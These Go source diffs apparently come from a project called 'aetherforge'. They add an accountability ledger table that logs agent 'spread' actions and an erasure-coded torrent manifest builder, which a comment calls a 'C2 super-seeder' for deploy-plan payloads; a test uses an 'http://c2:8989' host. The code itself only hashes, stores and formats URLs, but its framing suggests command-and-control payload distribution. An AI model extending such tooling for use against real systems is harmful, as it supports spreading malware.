_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_oath_ledger_ts ON oath_ledger(timestamp)`)
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_oath_ledger_action ON oath_ledger(action_type)`)
return nil
}
// HashWhyJSON returns SHA256 hex of JSON-encoded source evidence (autopsy / court transcript).
func HashWhyJSON(source interface{}) string {
if source == nil {
return ""
}
raw, err := json.Marshal(source)
if err != nil {
raw = []byte("{}")
}
sum := sha256.Sum256(raw)
return hex.EncodeToString(sum[:])
}
func marshalOathPayload(payload interface{}) []byte {
if payload == nil {
return []byte("{}")
}
switch v := payload.(type) {
case json.RawMessage:
if len(v) == 0 {
return []byte("{}")
}
return v
case map[string]interface{}:
raw, err := json.Marshal(v)
if err != nil {
return []byte("{}")
}
return raw
default:
raw, err := json.Marshal(payload)
if err != nil {
return []byte("{}")
}
return raw
}
}
// InsertOathLedger appends one immutable accountability row.
func (d *Database) InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome string, payload interface{}) (*OathLedgerEntry, error) {
if d == nil {
return nil, nil
}
if err := d.ensureOathLedgerTable(); err != nil {
return nil, err
}
if outcome == "" {
outcome = OathOutcomePending
}
payloadJSON := marshalOathPayload(payload)
ts := time.Now().UTC()
res, err := d.Exec(
`INSERT INTO oath_ledger (timestamp, actor, action_type, agent_id, strain, why_hash, outcome, payload_json)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
ts, actor, actionType, agentID, strain, whyHash, outcome, string(payloadJSON),
)
if err != nil {
return nil, err
}
id, _ := res.LastInsertId()
return &OathLedgerEntry{
ID: id,
Timestamp: ts.Format(time.RFC3339),
Actor: actor,
ActionType: actionType,
AgentID: agentID,
Strain: strain,
WhyHash: whyHash,
Outcome: outcome,
PayloadJSON: json.RawMessage(payloadJSON),
}, nil
}
// ListOathLedger returns recent rows newest-first.
func (d *Database) ListOathLedger(limit int) ([]OathLedgerEntry, error) {
if d == nil {
return nil, nil
}
if err := d.ensureOathLedgerTable(); err != nil {
return nil, err
}
if limit <= 0 {
limit = 100
}
if limit > 500 {
limit = 500
}
rows, err := d.Query(
`SELECT id, timestamp, actor, action_type, agent_id, strain, why_hash, outcome, payload_json
FROM oath_ledger ORDER BY id DESC LIMIT ?`,
limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []OathLedgerEntry
for rows.Next() {
var e OathLedgerEntry
var ts time.Time
var payloadStr string
if err := rows.Scan(&e.ID, &ts, &e.Actor, &e.ActionType, &e.AgentID, &e.Strain, &e.WhyHash, &e.Outcome, &payloadStr); err != nil {
return nil, err
}
e.Timestamp = ts.UTC().Format(time.RFC3339)
if payloadStr != "" {
e.PayloadJSON = json.RawMessage(payloadStr)
}
out = append(out, e)
}
return out, rows.Err()
}

View File

@@ -0,0 +1,54 @@
package db
import (
"encoding/json"
"testing"
)
func TestOathLedgerRoundTrip(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
why := map[string]string{"tier": "dns_txt", "lane": "spread"}
hash := HashWhyJSON(why)
entry, err := d.InsertOathLedger(
"operator", OathSpreadTierEscalation, "agent-1", "#aabbcc", hash, OathOutcomeSuccess,
map[string]string{"command_type": "reorder_tiers"},
)
if err != nil {
t.Fatal(err)
}
if entry == nil || entry.ID == 0 {
t.Fatalf("expected inserted entry, got %+v", entry)
}
if entry.WhyHash != hash {
t.Fatalf("why_hash = %q want %q", entry.WhyHash, hash)
}
rows, err := d.ListOathLedger(10)
if err != nil {
t.Fatal(err)
}
if len(rows) != 1 {
t.Fatalf("rows = %+v", rows)
}
if rows[0].ActionType != OathSpreadTierEscalation || rows[0].Actor != "operator" {
t.Fatalf("unexpected row: %+v", rows[0])
}
}
func TestHashWhyJSONStable(t *testing.T) {
src := map[string]interface{}{"verdict": "retry spread", "clearance": 4}
h1 := HashWhyJSON(src)
h2 := HashWhyJSON(src)
if h1 == "" || h1 != h2 {
t.Fatalf("hash unstable: %q %q", h1, h2)
}
if len(h1) != 64 {
t.Fatalf("expected sha256 hex length 64, got %d", len(h1))
}
_, _ = json.Marshal(src)
}

View File

@@ -0,0 +1,101 @@
package erasure
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"net/url"
"strings"
)
// TorrentShardEntry is one shard in a published torrent manifest.
type TorrentShardEntry struct {
Index int `json:"index"`
ShardHash string `json:"shard_hash"`
URL string `json:"url"`
}
// TorrentManifest is the C2 super-seeder torrent manifest for a deploy-plan token.
type TorrentManifest struct {
Token string `json:"token"`
Scheme string `json:"scheme"`
DataShards int `json:"data_shards"`
ParityShards int `json:"parity_shards"`
PayloadSHA256 string `json:"sha256"`
PayloadSize int `json:"payload_size"`
SwarmMagnet string `json:"swarm_magnet"`
ManifestURL string `json:"manifest_url"`
ShardManifestURLs []string `json:"shard_manifest_urls"`
Shards []TorrentShardEntry `json:"shards"`
}
// ShardContentHash returns the content-address hex SHA256 of one encoded shard.
func ShardContentHash(shard []byte) string {
sum := sha256.Sum256(shard)
return hex.EncodeToString(sum[:])
}
// ShardContentHashes returns content-address hashes for each shard slice.
func ShardContentHashes(shards [][]byte) []string {
out := make([]string, len(shards))
for i, sh := range shards {
out[i] = ShardContentHash(sh)
}
return out
}
// BuildTorrentManifest publishes canonical shard URLs and a swarm magnet for BGP hints.
func BuildTorrentManifest(serverURL, token, payloadSHA string, payloadSize int, p Params, shardHashes []string) (*TorrentManifest, error) {
p, err := p.Normalize()
if err != nil {
return nil, err
}
total := p.TotalShards()
if len(shardHashes) != total {
return nil, fmt.Errorf("erasure torrent: shard hash count mismatch")
}
base := strings.TrimRight(strings.TrimSpace(serverURL), "/")
if base == "" {
base = "http://127.0.0.1:8989"
}
manifestURL := fmt.Sprintf("%s/api/v1/public/erasure-torrent/%s/manifest", base, token)
shards := make([]TorrentShardEntry, total)
urls := make([]string, total)
for i := 0; i < total; i++ {
shardURL := fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", base, token, i)
shards[i] = TorrentShardEntry{Index: i, ShardHash: shardHashes[i], URL: shardURL}
urls[i] = shardURL
}
return &TorrentManifest{
Token: token,
Scheme: SchemeReedSolomonV1,
DataShards: p.DataShards,
ParityShards: p.ParityShards,
PayloadSHA256: strings.TrimSpace(strings.ToLower(payloadSHA)),
PayloadSize: payloadSize,
SwarmMagnet: SwarmMagnetLink(token, payloadSHA),
ManifestURL: manifestURL,
ShardManifestURLs: urls,
Shards: shards,
}, nil
}
// SwarmMagnetLink builds a magnet URI for fleet torrent swarm discovery.
func SwarmMagnetLink(token, payloadSHA string) string {
token = strings.TrimSpace(token)
payloadSHA = strings.TrimSpace(strings.ToLower(payloadSHA))
if token == "" {
return ""
}
q := url.Values{}
if payloadSHA != "" {
q.Set("xt", "urn:sha256:"+payloadSHA)
}
label := token
if len(label) > 8 {
label = label[:8]
}
q.Set("dn", "aetherforge-erasure-"+label)
q.Set("tr", "urn:aetherforge:erasure:"+token)
return "magnet:?" + q.Encode()
}

View File

@@ -0,0 +1,49 @@
package erasure
import "testing"
func TestBuildTorrentManifestMagnet(t *testing.T) {
p := DefaultParams()
hashes := []string{"aa", "bb", "cc", "dd", "ee", "ff"}
m, err := BuildTorrentManifest("http://c2:8989", "deadbeef", "abc123", 1024, p, hashes)
if err != nil {
t.Fatal(err)
}
if m.SwarmMagnet == "" || m.ManifestURL == "" {
t.Fatalf("manifest=%+v", m)
}
if len(m.ShardManifestURLs) != 6 {
t.Fatalf("urls=%d", len(m.ShardManifestURLs))
}
if m.Shards[0].URL != "http://c2:8989/api/v1/public/erasure-shard/deadbeef/0" {
t.Fatalf("shard url=%q", m.Shards[0].URL)
}
}
func TestSwarmMagnetLink(t *testing.T) {
m := SwarmMagnetLink("tok12345678", "deadbeef")
if m == "" || !contains(m, "urn:aetherforge:erasure:tok12345678") {
t.Fatalf("magnet=%q", m)
}
}
func contains(s, sub string) bool {
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexOf(s, sub) >= 0)
}
func indexOf(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}
func TestShardContentHash(t *testing.T) {
h1 := ShardContentHash([]byte("shard-a"))
h2 := ShardContentHash([]byte("shard-b"))
if h1 == h2 || len(h1) != 64 {
t.Fatalf("hash=%q", h1)
}
}